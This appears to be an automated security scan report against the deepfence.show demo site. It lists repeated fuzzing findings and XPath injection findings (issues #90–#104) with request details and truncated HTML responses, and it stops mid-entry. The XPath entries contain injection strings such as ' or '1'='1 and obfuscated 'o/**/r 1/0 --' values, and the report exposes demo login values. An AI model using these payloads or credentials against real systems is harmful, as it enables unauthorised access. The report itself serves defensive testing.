iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #90
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iog8dIe7ig5O
DemoUser1# jUlu7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #91
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioi7qOFSx2Z
DemoUser1# 9ClB7qCVmQN
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #92
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iojMOjPZhyk3XSI7M
DemoUser1# aFz6Wk
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #93
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioC78YCKd
DemoUser1# 4EhC6QB2mHtj6p
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #94
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOCQ8H
DemoUser1# crcJu
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #95Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioYSt63
DemoUser1# Ft39rj2fwYTNr7M
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #96
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io47SMZZ6r7D7xaH
DemoUser1# W6AyehCwVG7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #97
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUKT3ftJhiG6JCx
DemoUser1# U9xp12q3nTb4tGL
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #98
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioQDUV5DLRa9tMZNc
DemoUser1# wPgy6uPAQjjg
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #99
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioYaIstgVm
DemoUser1# EEs0xq4mQ8omj
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #100
XPath Injection
XPath Injection Scans work through a list of predefined strings known to present problems for XPath 
parsers, and inserts those strings into the parameters of the request.
If an unexpected response is received, this is an indication that input validation has failed to remove 
the potentially malicious strings from the parameters, and that data should be sanitized before it is 
used to build XPath expressions.
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io or name(//users/LoginID[1]) = 'LoginID' or 'a'='b
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #101
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #102Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1/0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #103
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '%20o/**/r%201/0%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove XPath tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-643
Issue Number #104
Scan XPath Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' o/**/r 1/0 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
